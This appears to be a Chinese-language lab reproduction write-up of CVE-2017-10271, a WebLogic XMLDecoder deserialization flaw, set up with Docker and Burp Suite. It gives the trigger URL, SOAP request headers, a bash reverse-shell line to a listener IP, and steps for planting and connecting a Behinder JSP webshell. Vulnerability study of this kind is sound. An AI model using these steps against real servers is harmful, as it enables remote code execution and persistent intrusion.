CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
漏洞触发url:/wls-wsat/CoordinatorPortType(POST)
漏洞本质:主要是由于wls组件使用了webservice来请求soap请求,所以通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞,可导致执行任意命令。
扩展:
SOAP:SOAP是Web服务安全性内置协议,采用保密和身份验证规则集的方式,支持OASIS和W3C制定的标准,结合使用XML加密、XML签名和SAML令牌等方式来验证身份和授权。SOAP更安全,适合于处理敏感数据,但是比较笨重。
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
启动测试环境:
docker-compose up -d
等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。
访问:http://ip:7001/wls-wsat/CoordinatorPortType11出现以下内容可能存在漏洞
漏洞触发url:/wls-wsat/CoordinatorPortType(POST)
访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType,使用BP抓包
发送到rpeater,将get方式改为POST,再 将webshell替换上去,然后点击Send。
soap POC:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: youip:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: text/xml
Content-Length: 795
访问页面使用burp进行抓包,将数据包修改,点击上传显示500说明写入成功, 访问http://ip:7001/bea_wls_internal/jpc.jsp,正常显示写入的文本。
上传反弹shell(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)
/bin/bash
-c
bash -i >& /dev/tcp/192.168.3.125/21 0>&1
#/dev/tcp/监听机的ip/监听的端口
复现成功!!!!
接下来就可以写入webshell了,这里使用冰蝎自带的jsp webshell。默认密码为: rebeyond如果想改的话密码为32位md5值的前16位(此处已经修改了)。写入成功后访问http://ip:7001/bea_wls_internal/6.jsp
webshell:
输入密码,成功连接!!!